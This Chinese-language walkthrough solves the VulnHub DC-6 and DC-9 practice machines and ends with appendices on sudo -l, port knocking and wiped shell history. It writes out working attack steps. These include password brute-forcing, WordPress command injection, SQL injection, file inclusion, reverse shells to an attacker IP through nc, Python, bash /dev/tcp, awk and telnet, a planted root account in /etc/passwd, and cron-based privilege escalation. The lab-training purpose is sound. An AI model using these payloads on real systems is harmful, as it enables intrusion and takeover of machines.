Day10 DC-6、DC-9靶场WP
关注 泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
DC-6
靶场文件下载地址: https://download.vulnhub.com/dc/DC-6.zip
信息收集
sudo arp-scan -l
nmap -sS -sV -A -T5 -p- 172.168.169.132
dirsearch -u http://wordy/ -i 200 

只有22,80端口开放,从80端口的扫描结果看,页面重定向到了Wordy的一个域名(也不是真域名),我们要改一下Host文件才能正常解析。

修改host文件,末尾添加这行才能正常解析。

打开网页是一个典型的WordPress默认界面,这是个博客CMS系统,一般有很多漏洞,而且应该有管理员登录地址,后台应该还存在一个数据库用于储存博客文章。

扫描目录发现admin的地址,在登录页面尝试重置密码失败,提示没有启动邮件服务。




有一个页面泄露了信息。curl一下发现存在目录遍历,用脚本把能下载的数据都拖下来分析一下。
curl -I http://wordy/wp-includes/
wget --recursive --no-parent --convert-links --random-wait \
--limit-rate=100k --user-agent="Mozilla/5.0" \
--execute robots=off --no-check-certificate \
http://wordy/wp-includes/
但是所有的php文件都是下载失败,下载成功的txt文件没有什么收获。
curl -s http://wordy/wp-includes/.git/HEAD
curl -s http://wordy/wp-includes/.svn/entries
尝试寻找git泄露和svn泄露也失败了。
密码爆破
这里根据官网提示,密码在rokyou.txt 文件中,然后用kali自带的专门的针对word press的工具WPscan来爆破密码。
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt # 靶机官网给的提示密码
wpscan --url http://wordy -e u # 扫描可能存在的用户名
wpscan --url http://wordy -U user.txt -P passwords.txt
提示存在上面5个用户名,保存成user.txt然后用密码表爆。



[SUCCESS] - mark / helpdesk01看到爆破成功的密码。
WP漏洞
用密码登录

可以看到插件管理页面有个IP tools,可以ping IP,然后执行命令。

Kali本地开启4444监听 nc -lvp 4444。
127.0.0.1|nc 172.168.169.128 4444 -e /bin/bashBurp抓包修改字段,反弹Shell。


python -c "import pty;pty.spawn('/bin/bash')"获取稳定的交互式shell,查找服务器文件,发现home下有各个账户的文件夹,Jens目录下有个打包整个网站的脚本,这样我们就可以下载整个网页源码用于分析。

而Mark文件夹下有个待办清单,里面提示了新建了一个graham账户,密码是 GSo7isUM1D4 已完成。

成功用密码登录graham的ssh。
ssh graham@172.168.169.132 
提权
find / -perm -u=s -type f 2>/dev/null
sudo -l
查看sudo -l 下的内容,发现有jens用户权限执行的脚本,正是刚才我们刚才看见的shell脚本。还提示了不用密码就可以执行,所以我们把弹shell的脚本写进去,用jens去做sudu,应该能弹回jens权限的shell。
echo "nc 172.168.169.128 4444 -e /bin/bash" >> backups.sh
sudo -u jens /home/jens/backups.sh 
限制登录了jens的终端,但是还是没有root。老样子,查看一下sudo -l

用nmap打开一个写了后门的nse文件,应该就能提权。
echo 'os.execute("/bin/sh")' >getshell.nse
sudo nmap --script=getshell.nse
其他
用jens扫搞nmap命令,想着一句话进root但是失败了,偶然扫出来有mysql端口,所以说,WordPress是一定有数据库的,一开始没扫出来可能是因为关闭的开放权限。既然,来都来了,顺手搞一下数据库。
nmap -p3306 -sV --script=mysql-info 127.0.0.1
scp -P 22 ./Downloads/KaliLearn/fscan graham@172.168.169.132:/home/graham用scp命令把fscan工具传上去扫一下,后面听说数据库加密的挺横就放弃了,以后再想办法

关注 泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
DC-9
靶场文件下载地址:https://download.vulnhub.com/dc/DC-9.zip
信息收集
扫描发现靶机地址为133

打开浏览器看一眼80端口有没有网页,可以看到有apache

扫一遍端口也只发现有80端口可以利用,22端口开放但是目前是关闭状态。

查看网页发现有如下界面,非常明显的提示,可能存在sql注入。



手动注入万能密码发现存在注入
1' or 1=1#
抓包使用sql注入

sql注入
sqlmap -u "http://172.168.169.133/results.php" --data "search=1" --dbs
sqlmap -u "http://172.168.169.133/results.php" --data "search=1" -D users --tables
sqlmap -u "http://172.168.169.133/results.php" --data "search=1" -D users -T UserDetails --columns
sqlmap -u "http://172.168.169.133/results.php" --data "search=1" -D users -T UserDetails -C “id,username,password,firstname,lastname,reg_date” --dump


但是这几个密码登陆不了,再看看别的表。
sqlmap -u "http://172.168.169.133/results.php" --data "search=1" -D Staff -T "StaffDetails,Users" --dump

爆出来一个admin用户名和密码这个加密已经自动解出了是transorbital1

管理员的界面多了一个添加记录的功能,但是我们发现左下角有个文件不存在的提示,说明这个网页是解析了一个什么文件,但是靶机文件不存在。网页应该用了文件包含文件解析之类的功能,先尝试一下文件包含漏洞。

文件包含
http://172.168.169.133/addrecord.php/?file=../../../../../etc/passwd
然后查询ssh的22端口的开门密码,因为原来的22的关闭状态,虽然有这个服务,但是端口没开。开门密码就是把这个端口给打开的一个作用
http://172.168.169.133/addrecord.php/?file=../../../../../etc/knockd.conf
敲门打开ssh
nc -v -w 1 172.168.169.133 7469
nc -v -w 1 172.168.169.133 8475
nc -v -w 1 172.168.169.133 9842
敲完门发现ssh打开了。
hydra密码爆破

把之前sqlmap爆出来的表格中用户名和密码单独存为user.txt和passwd.txt。这个表格在/home/kali/.local/share/sqlmap/output/172.168.169.133/dump/users/UserDetails.csv

hydra -L user.txt -P passwd.txt ssh://172.168.169.133 然后用hydra带上用户名和密码爆破。

[DATA] attacking ssh://172.168.169.133:22/
[22][ssh] host: 172.168.169.133 login: chandlerb password: UrAG0D!
[22][ssh] host: 172.168.169.133 login: joeyt password: Passw0rd
[22][ssh] host: 172.168.169.133 login: janitor password: Ilovepeepee
进账户搜账户下文件,发现history都被销毁了,只有janitor账户下有新东西。


janitor@dc-9:~$ cat .secrets-for-putin/passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts再用这些密码继续爆破密码。

[DATA] attacking ssh://172.168.169.133:22/
[22][ssh] host: 172.168.169.133 login: fredf password: B4-Tru3-001
[22][ssh] host: 172.168.169.133 login: joeyt password: Passw0rd爆破出来新的fredf的账户,joeyt我们已经登陆过了。

fredf账户主页下面还是没有什么有价值的东西,但是fredf的权限组看起来应该是比之前的几个账户高的,之前的几个账户连运行sudo -l的权限都没有,而fredf有权限运行,且发现一个可以利用的脚本test。

/etc/passwd 提权
test在一个dist文件夹下,这个dist是典型的python编译为二进制文件,打包后的目录,所以查看该目录下能发现test的源码。


这个test的作用就是把2文件的内容加到1文件末尾,但是她是sudo权限,也就是说像/etc/passwd这样的文件它也可以加,我们可以加一个新账户,有root权限。注意这里的slat后面的单词:Salt 超过 8 字符导致截断,太长会导致验证时盐值不匹配。
openssl passwd -1 -salt MS02423 MS02423
cd /tmp # 不在tmp目录下echo输出的不对
echo 'MS02423:$1$MS02423$xCJ3D9eufDuODS1PBNjp51:0:0::/root:/bin/bash' > MS02423
sudo /opt/devstuff/dist/test/test MS02423 /etc/passwd
整点花活,都有川建国了不是,再加一个拜振华。

crontab反弹提权
test这个脚本的功能,除了可以写用户名,还可以写crontab,可以用来执行红队的一些高危命令,进而达到提权目的。
*/5 * * * * /bin/nc 172.168.169.128 4444 -e /bin/sh
一开始想弹nc,但是发现nc命令用不了。但是他有些python的脚本那么python一定可以用。新建一个python脚本py3shell.py,写好攻击方法
import socket
import subprocess
import os
# 设置目标主机和端口
HOST = '172.168.169.128' # 替换为攻击者的 IP 地址
PORT = 8888 # 替换为攻击者监听的端口
# 创建 socket 对象并连接到攻击者
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# 重定向标准输入、标准输出和标准错误
os.dup2(s.fileno(), 0) # stdin
os.dup2(s.fileno(), 1) # stdout
os.dup2(s.fileno(), 2) # stderr
# 执行 shell
subprocess.call(['/bin/sh', '-i'])再写一个用于test脚本写入crontab执行的文件111.txt,写入如下内容。
* * * * * root /usr/bin/python3 /tmp/py3shell.py然后再用test把命令加岛crontab中去。
sudo /opt/devstuff/dist/test/test 11.txt /etc/crontab 
一分钟后成功弹回。

AWK反弹和直接提权(失败)
查找当前账户下可用来反弹shell的命令
ls /bin | grep -E 'bash|sh|nc|netcat|socat|python|perl|php|ruby|telnet|openssl|awk|find'发现有awk可以用,awk是可以直接提权的,不用写入crontab中。

/bin/awk 'BEGIN {s = "/inet/tcp/0/172.168.169.128/4444"; while(1) { do { printf "> " |& s; s |& getline c; if(c) { while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") } }'
尝试了这些命令都用不了,在root账户情况下,awk可以用,telnet也可以用,但是反弹没有回显
*/5 * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/172.168.169.128/4444 0>&1'
/bin/telnet 172.168.169.128 4444 | /bin/sh | /bin/telnet 172.168.169.128 4444除了反弹shell,awk还可以直接提权https://gtfobins.github.io/,但是这个靶机用不了
关注 泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
补充知识点:Sudo -l 的作用
sudo -l 是 Linux/Unix 系统中用于 查看当前用户的 sudo 权限 的命令,它能显示用户被允许执行的命令列表、目标用户身份(如 root)以及是否需要密码验证。
核心作用
-
权限审计
检查当前用户可以通过sudo执行哪些特权命令,避免权限滥用。 -
安全测试
渗透测试中快速识别可能的提权路径(如无密码执行危险命令)。
使用场景
- 系统管理:验证用户权限是否符合最小化原则。
- 安全渗透:寻找配置不当的
sudo规则以提升权限。 - 故障排查:确认用户是否有权执行特定命令。
命令输出解析
运行命令:
sudo -l典型输出示例:
Matching Defaults entries for user1 on host:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user1 may run the following commands on host:
(root) NOPASSWD: /usr/bin/apt
(admin) PASSWD: /usr/bin/systemctl restart nginx(root): 允许以root身份运行命令。NOPASSWD: 执行该命令 无需密码。PASSWD: 执行该命令 需要密码。
安全风险示例
场景 1:无密码执行特权命令
User alice may run the following commands:
(ALL) NOPASSWD: /usr/bin/vim /etc/sudoers- 攻击方法:
通过sudo vim /etc/sudoers直接修改权限配置,添加提权规则。
场景 2:滥用可执行程序
User bob may run the following commands:
(root) NOPASSWD: /usr/bin/python3 /scripts/*.py- 攻击方法:
若可写入/scripts/目录,替换恶意脚本并执行sudo python3 /scripts/exploit.py。
防御建议
-
最小权限原则
- 仅授予必要的命令权限,避免使用
ALL或通配符(*)。 - 示例:
user1 ALL=(root) /usr/bin/apt update(仅允许更新软件包)。
- 仅授予必要的命令权限,避免使用
-
密码验证
- 敏感操作强制密码验证:
PASSWD: /usr/bin/systemctl *
- 敏感操作强制密码验证:
-
审计配置
- 定期检查
/etc/sudoers文件及/etc/sudoers.d/目录:sudo visudo # 安全编辑配置文件
- 定期检查
操作演示
- 查看当前用户权限:
sudo -l - 检查其他用户权限(需
root权限):sudo -l -U username
总结
sudo -l 是权限管理和渗透测试中的关键命令:
- 对管理员:确保权限配置安全,避免过度授权。
- 对攻击者:快速定位提权路径(如无密码执行
apt、find、vim等)。
关注 泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
补充知识点:敲门
一、端口敲门(Port Knocking)原理
通过按特定顺序访问一组预先定义的关闭的端口,触发服务器上的 knockd 服务动态修改防火墙规则(如 iptables),从而临时开放目标服务端口(如SSH的22端口)。
二、使用 nc 命令触发敲门
1. 基础命令
假设敲门顺序为 1000 -> 2000 -> 3000(TCP协议):
nc -v -w 1 target_ip 1000 # 敲门步骤1
nc -v -w 1 target_ip 2000 # 敲门步骤2
nc -v -w 1 target_ip 3000 # 敲门步骤32. 使用 UDP 协议敲门 如果敲门端口使用 UDP:
nc -v -u -w 1 target_ip 1000 # UDP敲门3. 一键触发多端口
通过 && 连接多个命令(按顺序执行):
nc -zv target_ip 1000 && nc -zv target_ip 2000 && nc -zv target_ip 30004. IPv6 环境
nc -zv -6 target_ipv6 1000参数说明
-
-v:显示详细输出(可选) -
-z:只发送探测包,不传输数据 -
-w 1:超时1秒 -
-u:使用UDP协议
三、类似功能的替代命令
1. 使用 curl(HTTP模拟)
如果敲门服务监听HTTP端口(非标准用法):
curl http://target_ip:1000 # 模拟敲门步骤2. 使用 nmap 发送探测包
nmap -Pn --host-timeout 100 --max-retries 0 -p 1000,2000,3000 target_ip3. 使用 telnet
telnet target_ip 1000 # 敲门步骤(需手动关闭连接)4. 使用 /dev/tcp(Bash内置)
timeout 1 bash -c "echo > /dev/tcp/target_ip/1000" # 敲门步骤15. 专用工具 hping3
发送自定义TCP/UDP包:
hping3 -S -p 1000 -c 1 target_ip # SYN包敲门6. 使用 socat
socat - TCP:target_ip:1000 # 敲门步骤四、knockd 配置示例
1. /etc/knockd.conf 配置文件
[options]
logfile = /var/log/knockd.log
[openSSH]
sequence = 1000:tcp,2000:udp,3000:tcp # 敲门顺序
seq_timeout = 10 # 超时时间(秒)
command = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # 开门规则
tcpflags = syn # 仅响应SYN包
[closeSSH]
sequence = 4000,5000,6000 # 关闭SSH的敲门顺序
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT2. 启动 knockd
systemctl start knockd # 使用systemd五、替代工具推荐
1. fwknop (Single Packet Authorization)
-
更安全的替代方案,使用单包授权(加密+HMAC验证)
-
安装:
apt install fwknop-server -
客户端命令:
fwknop -A tcp/22 -D target_ip --key-base64 "加密密钥"2. 自定义脚本
使用 tcpdump 或 tshark 监听特定端口序列,触发防火墙规则变更。
六、注意事项
- 防火墙规则:确保服务器上的防火墙(如
iptables/nftables)默认阻止目标端口。 - 超时设置:
knockd的seq_timeout需合理配置,避免敲门失败。 - 加密建议:普通端口敲门(无加密)可能被嗅探,建议结合
fwknop使用加密。 - 日志监控:检查
/var/log/knockd.log调试敲门过程。 - 随机化端口顺序:避免使用固定顺序的端口,防止被暴力破解。
七、总结
-
基础方案:
nc+knockd -
安全增强:
fwknop(推荐用于生产环境) -
快速测试:
nmap或/dev/tcp模拟敲门
根据你的需求选择工具,优先考虑加密方案保护敏感服务!
关注 泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
补充知识点:history怎么不见了
问题解析
你提到的 .bash_history -> /dev/null 是一个符号链接(Symbolic Link),它将用户的家目录下的 Bash 历史记录文件 .bash_history 指向了系统黑洞设备 /dev/null。这是导致你使用 history 命令查不到历史命令的直接原因。
详细解释
1. .bash_history 的作用
-
功能:Bash 终端会记录用户输入的命令,默认保存在
~/.bash_history文件中。 -
触发时机:
-
用户退出终端时,内存中的命令历史会写入
.bash_history。 -
用户登录时,Bash 会从
.bash_history加载历史命令。
2. /dev/null 的作用
-
系统黑洞:任何写入
/dev/null的数据会被直接丢弃,读取/dev/null会立即返回 EOF(空内容)。 -
效果:
-
当
.bash_history被链接到/dev/null时:
◦ 退出终端时,历史命令会被写入 `/dev/null`(即永久丢失)。
◦ 登录终端时,Bash 尝试从 `/dev/null` 加载历史命令(得到空内容)。3. 验证符号链接
执行以下命令检查 .bash_history 是否指向 /dev/null:
ls -l ~/.bash_history若输出类似:
lrwxrwxrwx 1 user user 11 Jan 1 00:00 /home/user/.bash_history -> /dev/null则确认符号链接存在。
为什么历史命令消失了?
-
原因 1:符号链接导致历史无法保存。
-
每次退出终端时,历史命令被写入
/dev/null并被丢弃。 -
下次登录时,Bash 从
/dev/null读取历史(得到空内容)。 -
原因 2:内存中的历史未被持久化。
-
即使当前终端会话中能看到
history命令的输出(内存中的临时记录),退出后这些记录也不会保存。
恢复历史记录的步骤
1. 删除符号链接
rm ~/.bash_history2. 重建原始文件
touch ~/.bash_history3. 确保 Bash 配置正确
检查 ~/.bashrc 或 ~/.bash_profile 中是否包含以下配置(确保历史记录功能未被禁用):
# 确保以下变量未被设为 0 或空
HISTSIZE=1000 # 内存中保存的历史命令数量
HISTFILESIZE=2000 # 文件中保存的历史命令数量
export HISTCONTROL=ignoredups # 可选:忽略重复命令4. 重新加载配置
source ~/.bashrc防止历史记录丢失的配置 1. 锁定历史文件(只允许追加)
chattr +a ~/.bash_history # 仅 root 可删除此文件(需 ext4 文件系统)2. 实时写入历史(无需退出终端)
在 ~/.bashrc 中添加:
# 实时追加命令到历史文件,而不是退出时保存
PROMPT_COMMAND='history -a'可能的安全隐患
- 操作背景:此类符号链接常见于攻击者掩盖入侵痕迹(如删除操作日志)。
- 建议检查:
- 检查系统是否被入侵:
lastlog,who,/var/log/auth.log。 - 检查其他用户是否被篡改:
ls -l /home/*/.bash_history。
总结
-
直接原因:
.bash_history -> /dev/null导致历史记录被丢弃。 -
解决方案:删除符号链接并重建文件,检查 Bash 配置。
-
安全建议:排查系统是否被恶意修改,加强权限控制。
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
扫描下方二维码,马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
或者直接回复文章中的关键词,获取更多技术资料与书单推荐!📚